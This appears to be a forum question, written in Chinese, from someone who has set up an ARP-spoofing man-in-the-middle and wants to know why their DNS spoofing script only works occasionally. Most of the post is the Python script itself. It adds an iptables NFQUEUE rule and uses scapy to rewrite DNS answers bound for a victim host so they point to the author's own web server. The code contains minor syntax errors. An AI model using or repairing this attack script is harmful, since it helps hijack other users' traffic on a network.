在使用arp欺骗初始化我的Mitm之后,我已经使用了上面的代码来尝试和dns欺骗(这很好用,因为我可以在Wireshark中看到定向到我另一台PC的数据包),但是使用此代码似乎就像数据包没有被真正修改,有时可以工作(出于某种原因,每1000个dns请求中大约有1个)。
试图使用iptables PREROUTING方法和其他方法,尝试对我的arp欺骗是否成功进行了三次检查。
from netfilterqueue import NetfilterQueue
from scapy.all import UDP, DNSRR, DNS, IP
import sys, os
localIP = 192.168.1.32
os.system("sudo iptables -I FORWARD -p udp --sport 53 -d 192.168.1.50 -j NFQUEUE --queue-num 1"
def print_and_send(pkt):
payload = pkt.get_payload()
scapy_packet = IP(payload)
#Check if it is a dns packet
if scapy_packet.haslayer(UDP) and scapy_packet.getlayer(UDP).sport == 53:
print("DNS packet in port " + str(scapy_packet.getlayer(UDP).dport ) + " ID : "+
str(scapy_packet[DNS].id)+ " " +
str(scapy_packet[IP].src) + "=> "+ str(scapy_packet[IP].dst) +" "+
str(scapy_packet[DNS].qd.qname.decode('utf-8')))
#Create the spoofed packet
Spoofed =
IP(
dst = scapy_packet[IP].dst,
src = scapy_packet[IP].src
)/ \
UDP(
dport = scapy_packet.getlayer(UDP).dport,
sport = scapy_packet.getlayer(UDP).sport
)/ \
DNS(
id = scapy_packet[DNS].id ,
qr = 1,
aa = 1,
qd = scapy_packet[DNS].qd ,
an = DNSRR(rrname = scapy_packet[DNS].qd.qname, ttl = 19, rdata = localIP)
)
pkt.set_payload(bytes(Spoofed))
pkt.accept()
else:
pkt.accept()
nfqueue = NetfilterQueue()
nfqueue.bind(1, print_and_send)
try:
print("Waiting for data")
nfqueue.run()
except KeyboardInterrupt:
print("finished")
预计我从MITM攻击中获得的每个数据包都将通过此筛选器,并在每次运行我的计算机的运行html服务器时返回,而实际上产生的是正常的dns响应。